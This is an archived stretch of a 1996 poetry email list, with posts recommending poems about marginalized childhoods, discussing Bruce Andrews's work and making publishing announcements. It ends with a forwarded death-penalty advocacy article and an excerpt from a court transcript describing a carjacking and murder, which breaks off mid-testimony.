Stanford, CA 94305-6055 fax: [redacted]

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154. Brian Carpenter
Re: growing up poems
Thu 15 Aug 1996

Hello POETICS --
(there, i did it)

Also might suggest _American Dreams_ by Sapphire, publ. by Vintage Books. A wide range of voices from urban america, growing up, and a considerable sampling of groups in our Tossed Salad. Others on the list might know more specifics on the book, as I've (eek) only read a handful of pages so far.

= Brian Carpenter

↑ Index

155. Janet S. Gray
Growing up marginalized poems
Thu 15 Aug 1996

thanks for the help, all!

Janet

↑ Index

156. Julie Marie Schmid
Re: growing up poems
Thu 15 Aug 1996

Hey Maria et al,

I believe the Cullen poem is called "Incident." Somone (I can't remember the artist's name) covered it on an album recently. I brought that in to play for my class the day we discussed the poem, and it was a great way to get the students into it. It may have been Ani DiFranco--does anyone know if that's right? Also in the first Nuyorican anthology (the one edited by Algarin and Pinero) there are two poems by a young poet, Jorge Lopez, which may be interesting because they are actually written by a kid.

On Wed, 14 Aug 1996, maria damon wrote:

> *-the famous poem by countee cullen abt being called "nigger" in --baltimore?*
> *can't remember what' its' called.*
> *-anything by gary soto; living up the street teaches extremely well*
> *-house on mango st, cisneros*
> *md*
>
> *In message <[redacted]> UB Poetics discussion*
> *group writes:*
> *For a friend who is looking for 'accessible' poems to spice up*
> *a mostly prose syllabus on growing up marginalized:*
> *any suggestions of poems about growing up gay/lesbian,*
> *growing up chicano/a, jewish, puertoriqueno/a, black,*
> *native american, asian american, disabled, ... ?*
>
> *Janet*
> [redacted]

↑ Index

157. william marsh
Re: speed and WODEN Nichol
Thu 15 Aug 1996

Perhaps the "speed" discussion has run its course but just wanted to point out by way of postscript (sorry if it's already been mentioned) bp Nichol's treatment of it in "Probable Systems 18" (_art facts_) -- an amazing series of dream commentaries which constructs (to quote) "a number of numbered energy routes and details them in terms of acceleration & deceleration." What interests me is

the way he *maps* his "Accelerator and decelerator calculations", suggesting a treatment of speed (motion) and locale (space) within the same equation. "What this map gives us access to is an understanding of 'the speed of thot'..." ---> a speed map, which as he writes earlier points to "the ability to analyze reading at a finer level of detail i.e. the change of tempo from letter to letter in any cluster of letters (be they words or more abstract groupings)."

An amazing poem (and book) for any who haven't read it. (Available, by the way, through Chax.)

bmarsh

↑ Index

158. **william marsh**
Re: Tyuonyi & building clocks
Thu 15 Aug 1996

At 08:47 PM 8/13/96 -0800, you wrote:
>Two things:
>
>Does anyone know if - Tyuonyi is still published and any contact issue with
>either the mag or Phillip Foss if it isn't published anymore.

I've tried repeatedly to locate Phillip and the mag, but to no avail. Not much help, sorry, but i'm curious as well.

bmarsh

↑ Index

159. **Daniel Bouchard**
Pub Announcement: MASS AVE.
Thu 15 Aug 1996

I'm pleased to announce the publication of the premier issue of MASS AVE. This first issue is devoted exclusively to poetry thematically grounded (loosely) in the city. The works of 14 poets from 9 cities are featured. They are:

Jawanza Ali Keita
Ange Mlinko
Jordan Davis
Renee Gladman
Chris Stroffolino
David Baratier
Giovanni Singleton
Bill Luoma

Lisa Amber Phillips
Beth Anderson
Meredith Quartermain
Steve Carll
Michael Leddy
David Golumbia

56 pages, perfect-bound.

For a copy, please send 5 dollars to

MASS AVE.
Daniel Bouchard
PO Box 230
Boston, MA 02117

Make checks payable to Daniel Bouchard

Thanks.

[redacted]

↑ Index

160. Christina Fairbank Chirot
growing up poems
Thu 15 Aug 1996

For Janet Gray:

Two writers who have much material which may be of interest, use are Joseph Bruchac and Leslie Marmon Silko. Excellent writers both. Joseph Bruchac has also written many childrens' books presenting Native American texts.

Though not poems (more prose poems, really) two excellent presentations of growing up in a marginalized community are Jack Kerouac's Visions of Gerard and Doctor Sax. Visions of Gerard especially has a polyphony of sounds in its movement among Nashua and Lowell Quebecois and American English.

As my Pepere used to say, thank God for Kerouac--now Americans know Quebecois can be more than hockey players and lumberjacks.

Lowell now has along with the Quebecois and Greek and Irish communities Kerouac wrote of a vital and growing Cambodian community.

Comme on dit: Vive les differences!

--dave baptiste chirot

↑ Index

161. Joseph Lease
Re: growing up poems
Thu 15 Aug 1996

---

re: growing up texts

just to mention some obvious ones--

Call It Sleep by Henry Roth
Go Tell It on the Mountain by James Baldwin

in a way--

Dutchman by Leroi Jones / Amiri Baraka
(as well as tons of his early poems)

--reading other people's suggestions for this area has been very exciting--

All Best,
Joseph Lease

↑ Index

162. Gabrielle Welford
problems with the Azi message
Thu 15 Aug 1996

Did anyone besides Charles have problems with this message coming into their system? Sorry if it did. gab.

↑ Index

163. maria damon
Re: problems with the Azi message
Thu 15 Aug 1996

In message <[redacted]> UB Poetics
discussion group writes:
> Did anyone besides Charles have problems with this message coming into
> their system? Sorry if it did. gab.

problems as in technical difficulties or problems as in objections?

↑ Index

164. Gale Nelson
Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996
Thu 15 Aug 1996

I've looked at works like Corona (1973) and Film Noir (1978) as working with reader/audience in ways significantly different from the work by Andrews that I've seen over the last few years. Film Noir uses the page itself as instrument of reception -- typography/layout questions carrying a certain amount of weight This does not, it seems, become instrumental in the Andrews texts I've reviewed more recently. The characteristics of Corona are just beyond my reach at present -- I've not looked at it for some years, and shall make further comments tomorrow once having done so -- but when I read anything else by Andrews, that text always whispers to me as though from a separate carriage.

Perhaps others will remark on Corona while I revisit it.

Gale

↑ Index

165. David Baratier
tying up
Thu 15 Aug 1996

If there is anybody on the list Rodrigo's new phone number in San Francisco, please back channel ASAP.

As for my new digs:

David Baratier
934 Ebner St.
Columbus, OH 43206
[redacted]

The journal address will stay the same. Thanks to all who participated in the PBQ film issue and those who ordered books from us. For people who have ordered the grenier title in advance (Herb, CFunk, etc) the printing is finished and we should have it in the mail later this month.

Be well

↑ Index

166. Gabrielle Welford
Re: POETICS Digest - 10 Aug 1996 to 11 Aug 1996
Thu 15 Aug 1996

Of COURSE!! I should look for him round here. He would have had time to make it this far by now... gab.

On Wed, 14 Aug 1996, Douglis Beck wrote:

> *debra sez: "Craven's probably surfin the waves." not sure what that means, but there it is. go figure.*

↑ Index

167. Joseph Lease
Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996
Thu 15 Aug 1996

On Thu, 15 Aug 1996, Gale Nelson wrote:

> *I've looked at works like Corona (1973) and Film Noir (1978) as working with reader/audience in ways significantly different from the work by Andrews that I've seen over the last few years. Film Noir uses the page itself as instrument of reception -- typography/layout questions carrying a certain amount of weight This does not, it seems, become instrumental in the Andrews texts I've reviewed more recently. The characteristics of Corona are just beyond my reach at present -- I've not looked at it for some years, and shall make further comments tomorrow once having done so -- but when I read anything else by Andrews, that text always whispers to me as though from a separate carriage.*
>
> *Perhaps others will remark on Corona while I revisit it.*
>
> *Gale*

Gale,

--in terms of politics and reception--how would you describe the force or weight of Andrews's syntax--in recent work--

Cheers,
Joseph>

↑ Index

168. **Gale Nelson**

Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996

Thu 15 Aug 1996

In work from the early-mid period of this decade, I received the work as being driven by a manic "found language" machine, fed by logical sentence structure with unexpected content <I cheese my drawers>, unexpected turns within a larger sentence structure <Most of life is just pre-school anyway; paste like that, money should be detached from ego -- creme, no sugar, no urine, like the junior mints of a previous century; I'm nothing more than a noise gate.> In <I cheese my drawers>, which continues, there's something akin to a confession/ admission, but of what? With <Most of life...>, there's the kind of statement start-point that could be the basis for a best-selling self-help book, but what follows distracts the reader (or at least this reader) from staying with that "thought" -- and becomes centered on "I'm nothing more than a noise gate." So then, intersperse statements of "politics" -- <Woman's place = sexual deviance, doesn't it have pockets?> <in America country means white> -- give the reader the open-door as to read something "ironically," "straight" "meaningfully meaningless" <Stalin's genius consisted of not french-kising: sometimes I want to be in crud.> -- the work in relation to the political pull seems to be "in the mix" -- but how does "narrator" or "voice" play in Andrews? The tone is awash with layers of urbanity, hipness, coyness, reportage, quasi-reportage, etc. So, the poltical statements may resonate when the poem is set down -- or the politics may be in destablizing the very nature of received communication (or at least opening up the potential). The reader, depending upon the degree to which s/he has already come to grips with "received communication structures") will converge upon the text in a hermeneutics of deciphering. And what is deciphered has indicators, surely, witness <Biko/Biko/Biko> as the repeated word possibly out of the mouth of a parrot; it holds a primacy in visual space toward the end of the poem, so a "mouthing" by the parrot seems to suggest the yearning of the reader for a certain justice in South Africa pulls the political into focus once more. Of course, the poem doesn't end there -- too determined for the reader, but it resonates from there. (The poem I'm reacting to is Stalin's Genius, selected as the Hoover anthology was most readily available as "Guide to Bruce Andrews" this summer afternoon).

Now, spacing on the page plays a subtle role here. In Film Noir, for instance, I sense spacing as my primary way into the text at hand.

Cheers, gale

↑ Index

169. Gabrielle Welford
Re: problems with the Azi message
Thu 15 Aug 1996

Sorry, technical problems. Chas said it kept jumping him off e-mail. gab. Objections...?

On Thu, 15 Aug 1996, maria damon wrote:

> *In message <[redacted]> UB Poetics*
> *discussion group writes:*
> *Did anyone besides Charles have problems with this message coming into*
> *their system? Sorry if it did. gab.*
>
> *problems as in technical difficulties or problems as in objections?*

↑ Index

170. Franklin Bruno
Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996
Thu 15 Aug 1996

Question for gale nelson or others: What do you see as the Andrews' two essentially different approaches? I've always thought of his work as largely having all of its ducks in a row from the start--what am I missing? Whenish do you see the break?

fjb

↑ Index

171. Julie Marie Schmid
Re: problems with the Azi message
Thu 15 Aug 1996

Hey--
That happened to me, too. I thought it was something with my program or my Mac. What's the deal?

On Thu, 15 Aug 1996, Gabrielle Welford wrote:

> *Sorry, technical problems. Chas said it kept jumping him off e-mail.*
> *gab. Objections...?*
>
> *On Thu, 15 Aug 1996, maria damon wrote:*
>
> *In message <[redacted]> UB Poetics*
> *discussion group writes:*
> *Did anyone besides Charles have problems with this message coming into*

> *their system? Sorry if it did. gab.*
>
> *problems as in technical difficulties or problems as in objections?*

↑ Index

172. **Walter K. Lew**
Re: growing up poems
Thu 15 Aug 1996

Dear Janet S. Gray,
  The following most quickly come to mind as being fresh and accessible without being simplistic:

Early 20th-century, Lower Eastside, NYC/Brownsville, Brooklyn Jewish childhood: Charles Reznikoff, Part III ("Early History of a Writer") of "By the Well of Living and Seeing", available in _Poems1918-1975: The Complete Poems of Charles Reznikoff_, Seamus Cooney, ed. (Black Sparrow 1989), pp. 137-78.

Bi-racial and sexuality issues from an Asian American feminist perspective, set largely in NY and Hawaii: KIMIKO HAHN, _Earshot_ (Hanging Loose 1992) and _Unbearable Heart (Kaya Production1995), poems abt childhood scattered throughout.

Growing up gay, Filipino, and proto-diva in Hawaii:
R. Zamora Linmark, _Rolling the Rs_ (Kaya 1995)

Chinese American family life and searches to recover a personalized Chinese American West Coast history: Alan Chong Lau, _Songs for Jadina_ (Greenfield Review Press 1980, out of print)

Childhood years in a Japanese American concentration camp during World War 2: Lawson Fusao Inada, _Legends from Camp_ (Coffee House 1993). (A wonderful reader for student audiences by the way; teaches at Southern Oregon State in Ashlans.)

From _Premonitions_ (WKL888, ed. [20% discounted copies can be ordered directly from me]):
Growing up in 1960s NY Chinatown:
FRANCES CHUNG, first eight of the nine poems, pp. 50-57.
Lesbian schooldays:
ANN KONG, "Ponies and Spanish Guitars", pp. 152-54.
Childhood in Vietnam during the war and moving to the U.S. as an adoptee:
CHRISTIAN LANGWORTHY, five poems, pp. 206-220.

Sexual tensions and violence in multi-racial Hawaiian high school settings: LOIS-ANN YAMANAKA, four poems, pp. 412-423.

Warning: Although the huge _New Worlds of Literature: Writings from America's Many Cultures_ (Norton 1989, 1994) includes several genres of prose and poetry and is pedagogically tempting to some for its breadth of ethnic constituencies, Norton anthology-style questions, and teacher's guide, I find most of the work plain boring-a prime example of homogenized, reduced, non-specific, linguistically unadventurous textbook multiculturalism. (The second edition is, however, better than the first.) Some of the work is good or useful (including maybe my own poem!), but you have to wade through so much to find it.

Hope this is of use.

Walter K. Lew
Until August 30:
8 Old Colony Rd.
Old Saybrook, CT 06475
[redacted] (ph/fax)

↑ Index

173. Emily Lloyd
Incident...
Thu 15 Aug 1996

---

yep, that's the name of Cullen's poem. It wasn't the fabulous ani difranco, tho, but Disappear Fear who incorporated Cullen's poem into the lyrics of their song "Who's So Scared," adding a second verse of their own about growing up queer...em

Julie Marie Schmid wrote:
>
> Hey Maria et al,
>
> I believe the Cullen poem is called "Incident." Somone (I can't remember
> the artist's name) covered it on an album recently. I brought that in to
> play for my class the day we discussed the poem, and it was a great way
> to get the students into it. It may have been Ani DiFranco--does anyone
> know if that's right?

↑ Index

174. Emily Lloyd
Re: Incident
Thu 15 Aug 1996

---

yep, that's the name of Cullen's poem. It wasn't the fabulous ani difranco, tho, but Disappear Fear who incorporated Cullen's poem into the lyrics of their song "Who's So Scared" (on self-titled album), adding a second verse of their own about growing up queer...an experience which, to hark back to the Plath thread, they briefly compare to the Shoah...em

Julie Marie Schmid wrote:
>
> Hey Maria et al,
>
> I believe the Cullen poem is called "Incident." Somone (I can't remember
> the artist's name) covered it on an album recently. I brought that in to
> play for my class the day we discussed the poem, and it was a great way
> to get the students into it. It may have been Ani DiFranco--does anyone
> know if that's right?

↑ Index

175. Kathrine Varnes
Re: growing up poems
Thu 15 Aug 1996

---

here's another:

Wanda Coleman -- "Poetry Lesson Number One" in _Heavy Daughter Blues_ (Black Sparrow, 91?)

Kathrine Varnes

↑ Index

176. DS
Re: growing up poems
Thu 15 Aug 1996

You could try and get hold of one of Roma Potiki's books. (New Zealand Maori poet) She is 'accessible', and also at times pretty bloody thought provoking and good. Also for accessibility, Dancing on the Rim of the Earth. 'An Anthology of Contemporary Northwest Native American Writing.' ed Andrea Lerner. (Arizona Press) is pretty didactic at times, but also has some good stuff. (Can pm me if you want more info about Roma Potiki)

Regards,

Dan

> *In message <[redacted]> UB Poetics discussion group writes:*
> *For a friend who is looking for 'accessible' poems to spice up a mostly prose syllabus on growing up marginalized: any suggestions of poems about growing up gay/lesbian, growing up chicano/a, jewish, puertoriqueno/a, black, native american, asian american, disabled, ... ?*
>
> *Janet*
> [redacted]

↑ Index

177. **DS**

Re: info on azi (fwd)

Thu 15 Aug 1996

Meanwhile New Zealand happily plays rugby against an Afrikaaner convicted of beating a black farm boy to death.

Its not just horrendous it's fucking sick.

At 06:20 PM 8/14/96 -1000, you wrote:
>I got information before I forwarded this because it seemed so extreme and
>horrendous. gab.
>
>---------- Forwarded message ----------
>Date: Wed, 14 Aug 1996 13:19:29 -1000
>From: [redacted]
>To: [redacted]
>Subject: info on azi
>
>Gabrielle,
>We received your request. Please excuse the dealay in getting back to you.
> We've been running day and night on this case.
>
>Enclosed please find A)an article that recently ran in the Jackson Advocate
> B) an excerpt from the pre-trial hearing and C) an articel that ran in the
>Clarion-Ledger last April.
>
>I hope these will give you a satisfactory range of perspectives and
>information.

>
>If I can be of further service, please don't hesitate to call on me.
>
>
>In Solidarity,
>
>Ben Jealous
>NCADP Program Coordinator
>_____
>South African Child Facing Legal Lynching, Civil Rights Activists Protest
>
>
> "Under Apartheid, under the state of emergency, Black children were tried as
>adults," observed Elaine Salo, a South African doctoral candidate studying in
>Atlanta. "This case is very reminiscent of that situation. He may not be
>accused of a political crime, but they are not taking his age into
>consideration. This is really a child we are talking about."
> After surviving some of Apartheid's most turbulent years, Azikiwe Kambule a
>10th grade South African child is facing the death penalty in Mississippi
>for a crime in which many say he was little more than a bystander.
> Despite having no criminal record, no history of violence, providing his
>full cooperation to the authorities, and not being present when the killing
>took place Azi has been charged as an accomplice to capital murder.
> Mississippi is seeking the death penalty against Azi-- a child who isn't
>even old enough to buy a beer, let alone sit on a jury.
> Two local prosecutors, Hinds County District Attorney Ed Peters and Madison
>County D.A. James Kitchens, have already acted to seal Azi's fate.
> In April, Peters was quoted in the Clarion-Ledger, a local daily newspaper,
>as saying that because the "jurors in [predominantly black] Hinds County have
>a reputation for refusing to vote for the death penalty," he and Kitchens
>moved Azi's trial to Madison County where the outcome would be more certain,
>if not predictable.
> The setting for John Grisham's A Time To Kill, Madison's racial environment
>is notorious. "That jury's gonna lynch 'em," says Charles Tisdale, publisher
>of The Jackson Advocate. "It's just that simple."

> With one of the largest white populations in Mississippi, Madison has become
>a virtual haven for the state's less tolerant elites.
> "That county is home to this country's richest and poorest people," says
>Tisdale. "The white folks ran there to avoid desegregation, and the black
>folks who've stayed have never received the benefit of their own civil
>rights."
> Like his fictitious counterpart in Grisham's's novel, county officials say,
>the current Madison County D.A. is hoping this high profile death penalty
>case will advance his career.
> "Word is he's planning on running for Judge soon," said a county attorney
>who asked his name not be printed.
> Azi's friends and supporters say they are concerned that the part-time
>public defender who's defending him won't be up to the challenge.
> "Those attorneys are contracted-- they aren't paid anything extra to handle
>capital trials," says Sheila O'Flaherty who was with the Mississippi Capital
>Defense Resource Center until congressional Republicans eliminated its
>funding earlier this year. The office had been charged with making sure that
>cases like Azi's didn't fall through the cracks.
> According to Steve Hawkins, executive director of the National Coalition to
>Abolish the Death Penalty, court-appointed attorneys in southern states often
>receive the equivalent of 4 or 5 dollars per hour to handle death penalty
>trials.
> "Look at the facts," says Reverend Robert Abrams, a United Methodist pastor
>from Gulfport, Mississippi, "and you will see this boy is more of a victim
>than anything else."
> Azikiwe Kambule came to the United States two years ago with his mother
>who had received a fellowship to finish her college education in America.
> "He was very excited," remembers his mother, Busisiwe Chabeli. "He had
>always heard us talk about America and he wanted the chance to see for
>himself."
> As a student at Chastain Middle School in Jackson, Azi had no trouble
>adjusting academically; he received excellent grades, was placed in honors
>classes and joined the school choir. Yet, Azi found himself under immense

>social pressure -- he didn't look, speak or dress like other children in his
>neighborhood.
> Azi wanted to "fit in" with his peers, and not be the subject of their
>ridicule. He met and started spending time with youth who were older and
>very street-wise.
> While attending Jackson's Murrah High School, Azi's grades began to
fall;
>his parents worried that his new friends were the wrong crowd. Fearing the
>worst, they decided to scrape together the funds to send Azi to a boarding
>school. Tragically, it was already too late.
> Last January, a week before he was to leave for the Piney Woods
School, Azi
>found himself in the middle of a car-jacking in which a young African
>American woman was kidnapped and ultimately killed.
> According to police testimony during a pre-trial hearing, Azi
himself was so
>far away from the crime scene that he did not hear the gunshots. When
>arrested, he was the only one to cooperate with the police. He fully
>explained the terrible series of events that ended with the death of Pamela
>McGill-- a young African American woman who was popular in the local
>community. After his arrest, Azi tried repeatedly to help the authorities in
>their investigation.
> Civil rights activists say they fear that outrage about McGill's
murder has
>inhibited many people's ability to see the injustice being perpetrated by
>local prosecutors.
> "While the tragedy of Ms. McGill's death is an emotional fire
burning out of
>control in our community, we must look at the larger political dynamic of the
>prosecutors' decision to move this trial to Madison County to ensure these
>two young people get the death penalty," commented L.C. Dorsey, assistant
>professor of social work at Jackson State University and former executive
>director of the Mississippi Prison Defense Committee.
> "It seems that their guilt has been decided even before the trial has
>begun."
>Scheduled to commence August 19, Azi's case is already beginning to attract
>national and international attention.
> "The situation in which Azi finds himself speaks volumes about the
use of
>the death penalty against children," Hawkins says.
> "During this decade, only five nations in the world are known to have
>executed persons for crimes they committed before their eighteenth birthday.

> Those countries are Iran, Pakistan, Yemen, Saudi Arabia . . . and the
>United States. And America has executed more than the other four combined."
> According to the National Coalition to Abolish the Death Penalty, a
>condemned child in the United States also tends to be of darker hue -- 66% of
>those persons sentenced to death as children have been from racial
>minorities.
> "Nowhere is the international rule of law more clear than the prohibition on
>the use of the death penalty against children. The International Covenant on
>Civil and Political Rights, which the United States has ratified, clearly
>states that the 'sentence of death shall not be imposed for crimes committed
>by persons below the age of eighteen'," Hawkins explains. "Indeed, every
> major human rights treaty in the world has the same express wording."
> Rev. Abrams says he is concerned that Americans have become so fearful and
>angry about violence in their communities that they're no longer
>contemplating the consequences of their responses to crime.
> "There is a feeding frenzy going on in America right now" he says. "And we
>are feeding on our youth."
>--_____
>[NOTE: This is only an excerpt from the complete transcript. The
>information cited below can be found on pages 1 and 3-14 of the official
>transcript, which is available from the Madison County Circuit Court Clerk's
>Office]
>
>IN THE COUNTY COURT OF THE FIRST JUDICIAL DISTRICT
>OF HINDS COUNTY, MISSISSIPPI
>
>STATE OF MISSISSIPPI
PLAINTIFF
>VERSUS NOS. 96-228 & 96-229
>RUDY RHODES AND
>SANTONIO BERRY
DEFENDANTS
>
>* * * * * * * * * * * * * * * * * *
>TRANSCRIPT OF THE PROCEEDINGS HAD AND DONE IN THE PRELIMINARY HEARING OF THE
>ABOVE-STYLED AND NUMBERED CAUSES BEFORE THE HONORABLE

WILLIAM R. BARNETT,
>HINDS COUNTY JUDGE, ON THE 22ND DAY OF FEBRUARY, 1996.
>* * * * * * * * * * * * * * * * * * *
>
>DIRECT EXAMINATION BY MR. LEMON:
> Q. Would you state your name, please.
> A. James French.
> Q. Where are you employed?
> A. City of Jackson Police Department, Violent Crimes Task Force.
> Q. How long have you been employed there?
> A. I've been employed with the police department a little over
18 years.
> Q. Have you had reason to investigate a crime involving a Rudy
Rhodes and
>Santonio Berry?
> A. Yes, sir, I have.
> Q. Did you also investigate a crime involving an Azikiwe Kambule?
> A. Yes, sir, I did.
> Q. And they are all related in the same crime?
> A. Yes, sir.
> Q. Do you understand that because Mr. Kambule's attorney is
not able to be
>here today because of a conflict we're only going to proceed on Mr. Rhodes
>and Mr. Berry?
> A. Yes, sir.
> Q. Okay. What crime had you investigated the defendant Rhodes
and defendant
>Berry for?
> A. The initial crime was simply a missing person. They
were--they have been
>arrested and charged. Mr Berry has been charged with armed robbery and
>kidnapping, Mr. Rhodes has been charged with accessory to armed robbery
and
>accessory to kidnapping.
> Q. And where did this crime take place or begin?
> A. 1523 County Line Road, Somerset Apartments.
> Q. Is that in the First Judicial District of Hinds County?
> A. Yes, sir.
> Q. Could you please tell the Court the involvement in the
crimes as to Rudy
>Rhodes and Santonio Berry; and when necessary please speak to defendant
>Azikiwe Kambule, also.

> A. Yes, sir. Initially Pamela McGill was reported missing on the 25th of
>September [sic]. We obtained a bank photo from the Trustmark Bank at County
>Line Road, an ATM machine, showing Ms. McGill--the last know time that we
>know that she was alive at 5:55 P.M. on that date. As she drives through
>the--away from the ATM a white Mitsubishi driven by Mr. Berry, a clear facial
>shot of him, pulls through the ATM. From that point on Ms. McGill has never
>been seen. She had a meeting set up for 6:20--6:15 that day. The person that
>was supposed to meet her did not arrive at her apartment until 6:20. Ms
>McGill was not there at that time. She's never been seen from again. The--Ms.
>McGill at the time she went through the bank was driving her 1993 red Dodge
>Stealth. She withdrew $50.00 in cash from the bank, and there was a debit
>against her account for $51.00, the extra one dollar against the account. We
>began looking for the vehicle. We received information that an individual
>from Laurel and two from Jackson were trying to sell the vehicle in Laurel on
>a street called Lucas Street. We contacted Laurel P.D. Laurel P.D. began
>looking for the vehicle. They found the vehicle parked on a parking lot at
>Howard Industries in Laurel. This was on the 5th of February around 5:00 P.M.
>The vehicle was processed for evidence by the Mississippi State Crime Lab.
>Items missing from the vehicle were the car radio, a set of floor mats, and a
>cellular telephone--Dodge Stealth floor mats. Also found in the car was a
>spent hull from a Makarov pistol, a 9 by 18 Makarov style--Makarov style
>pistol. They recovered other pieces of evidence. February the 6th a Mr.
>Preston Ramsey contacted us and advised that he had received information that
>Rudy Rhodes and two individuals from Jackson had taken the red Dodge Stealth
>to an Oscar George in Laurel. Detective Windham with the Laurel P.D. was
>contacted and asked to locate Oscar George. In the meantime, members of the
>task force went to Laurel. On the 6th special agent--FBI agent Artis and
>detective--and myself interviewed Oscar George. Oscar George stated that Rudy
>Rhodes and two individuals that he thought to be from Jackson had tried to
>sell him this red Dodge Stealth for a thousand dollars. On the 6th members of
>the Violent Crimes Task Force and the Fugitive Task Force arrested Rudy
>Rhodes. At 8:30 P.M. Rudy Rhodes signed a rights waiver form. This was
>witnessed by FBI agent Hal Neilson, Mississippi Highway Patrol investigator
>Tommy Squires, and myself. Rudy Rhodes then gave a written statement as to
>this incident.
> Q. Without getting into the--exactly what was said in the

statement, could
>you please tell the Court the effect of that statement?
> A. The statement indicates that Azikiwe Kambule and Berry showed up at
>Rhodes' apartment. They were driving a red Dodge Stealth. Rhodes indicated
>that as soon as he saw it he knew that it was probably a stolen vehicle. They
>wanted to go to Laurel. He had already planned to go to Laurel, so he allowed
>them to follow. Rhodes and his girlfriend, Pammy Porter, rode in Rhodes' red
>Dodge--in a red Plymouth Laser; and the red Dodge Stealth driven by Berry and
>a passenger, Kambule, followed. Pammy Porter spent the night at her mother's
>house. Berry, Kambule, and Rhodes spent the night, the night that Ms. McGill
>first--missed her first appointment. The next day, Friday, Rhodes stated that
>he took Kambule and Berry to Oscar George's business which is a repair shop,
>auto repair shop; and they did in fact try to sell the car for a thousand
>dollars. Santonio Berry removed the radio from the vehicle and placed it in
>the trunk of the red Plymouth Laser that's jointly owned by Rudy Rhodes and a
>Stacy Roy. While in Laurel, Santonio Berry and Azikiwe Kambule told Rhodes
>that they had followed a woman driving from a bank to some apartment. They
>made the woman move over and drove toward Raymond. They turned off the
>highway toward Raymond on a long, dark road, made the woman get out, and
>drove off. They did not tell Rhodes, according to his statement, that they
>had murdered her. Super Bowl Sunday, which I believe is the 28th--they came
>back to Jackson on Saturday. Pammy Porter drove the Plymouth Laser, and the
>three individuals were in the car with her. And Super Bowl Sunday Berry went
>back to Rhodes and said he wanted to go back to Laurel. Rhodes and Berry went
>back to Laurel and moved the vehicle from an individual's house to the
>parking lot at Howard Industries where they left it. And that's basically
>Rhodes' statement.
> Q. Okay. Did any of the others make any statements?
> A. Yes, sir. Azikiwe Kambule when he was arrested by special agent Neilson,
>investigator Squires, and myself made a statement that he and--to the effect
>that he and Berry had in fact observed Pam McGill on the parking lot of the
>Trustmark Bank at the corner of County Line and Wheatley. They were standing
>outside of Berry's car about to use an ATM card themselves. Ms McGill drove
>around them, pulled in the machine. Berry made a statement that he wanted

>that car. They got back into Berry's car, followed her to the apartments.
>Kambule said that it appeared to him that Ms. McGill was getting out of her
>vehicle as if to check the mail, and at which point--
> Q. This is back at her apartment?
> A. At Somerset Apartments. Kambule stated that Berry used his Makarov pistol
>to force Ms. Berry [sic] back into the car. He forced here through the
>driver's seat into the passenger's seat of this vehicle. Berry got in behind
>the driver's seat with the weapon on Ms. McGill. Kambule indicated that he
>got into the passengers door and almost had to lie down to get behind the
>from seat--behind the seat on the passenger's side. Berry drove. Kambule
>again was right behind the seat. Ms. McGill was in the right, front seat.
>They left Berry's Mitsubishi at Somerset Apartments. As they drove, Pam
>McGill kept begging for them to just take the car and take her money and let
>her go. According to Kambule, they went to a road down toward Raymond. Berry
>stopped the car, made the woman get out, and he told Kambule to turn the car
>around. Kambule stayed in the car. Berry walked the woman into the woods.
>Kambule tried to turn the car around. He cannot drive a straight shift and
>could not get it turned around. Berry returned shortly; and Berry
>stated--according the Kambule, Berry said that he had shot--he had made the
>girl kneel down and shot her in the back of the head. They then went,
>according to Kambule, went to Rhodes' apartment. There they left the Dodge
>and had Rudy Rhodes take them back to where they had left the white
>Mitsubishi. Berry drove the Mitsubishi to his apartment on Poplar Avenue.
>They then returned to Rudy Rhodes' home and then went to Laurel. Kambule
>tried to point out the road that--where the--where Ms. McGill had been
>placed, but he was not successful.
> Q. Has anyone else attempted to assist the police or the authorities in
>finding Ms. McGill's body?
> A. In--no, they all--
> Q. Concerning the defendants.
> A. We got statements from Cedric Bernard Jones and from a Brian Cooley. They
>were with all three defendants on the Saturday night--excuse me--on the
>Friday night following the abduction; and Santonio Berry showed Brian Cooley
>the firearm. All three defendants showed these two witnesses the vehicle. At
>that time it was--when they saw it, it was parked on the parking lot at Jones
>County Junior College. They talked about the incident; and according to

>Cooley and Jones, they indicated that they had forced the woman into the car,
>taken her to a long, dark road and made her get out. Jones and Cooley
>indicated they thought the woman was still alive when she was put out of the
>vehicle. Pammy Porter was interviewed by agents Neilson and Detective Rainey,
>and she indicated that she had in fact gone to Laurel, that when she
>first--on the night of the incident when she returned home, she walked into
>her apartment and heard Santonio Berry saying something to the effect "two
>shots, pow, pow." She went on into the apartment. They wanted to go to
>Laurel. They followed Porter and Rhodes to Laurel, that during the weekend
>she did in fact overhear them saying that they had taken the car--taken the
>woman, taken the car and put her out on a long, dark road. On the way back
>from Laurel that Saturday, Pammy Porter was driving the vehicle with the
>other three individuals in it. She was stopped in Mendenhall-on Highway 49 at
>Mendenhall and issued a ticket for driving with no tag.
> Q. How did the two defendants that abducted Ms. McGill receive their vehicle
>back that they had parked at her apartment complex?
> A. According to Kambule, Rhodes--they went--after they put Ms. McGill out,
>they went to Rhodes' apartment. They got into Rhodes' car. Rhodes took them
>to Somerset Apartments. Berry got into the Mitsubishi, drove the Mitsubishi
>to Poplar Street where he had an apartment, and this is prior to going to
>Laurel.
> Q. I'm sorry. Where were the items that were taken from Ms. McGill's car
>found?
> A. The radio that was taken from Ms. McGill's car was found in the trunk of
>Rudy Rhodes' car. He identified it as being the radio that came out of the
>car. The cellular telephone was recovered by Laurel Police Department. An
>individual turned it in, and an individual there whose name escapes me now
>identified it as being the phone that came out of that car. The floor mats
>from the vehicle were found in a mini storage building in Clinton during the
>serving of a search warrant. So that' the only three items we've recovered
>from the car. The Makarov pistol we believe to have been used in the incident
>was found in the possession of Mr. Berry at the time he was arrested by
>Clinton Police Department...
>CROSS-EXAMINATION BY MR. FORTNER:
> Q. Jim, I've just got a few questions. How long after Kambule was arrested
>did you arrest Mr. Berry?

> A. Mr. Berry was arrested somewhere in the neighborhood of 5:15, 5:30 in the
>morning.
> Q. Did Mr. Berry make any statements to the police?
> A. No, sir.
> Q. None at all?
> A. To my knowledge, no, sir.
> Q. Are you the only person that attempted to ask him any questions, or did
>you attempt to ask him any questions?
> A. I was not present during the time he was arrested. I did see him
>following his arrest. They brought him up to our office for processing into
>the jail. He was advised of his rights, but he didn't want to talk. So to my
>knowledge he's not made any statements whatsoever.
> Q. Did Mr. Kambule--is Mr. Kambule the only witness you've spoken to or the
>only person you or anybody else has spoken to that says Mr. Berry told him
>that he killed the woman?
> A. Yes, sir.
> Q. All of the other people that you've talked to, the people down in Laurel,
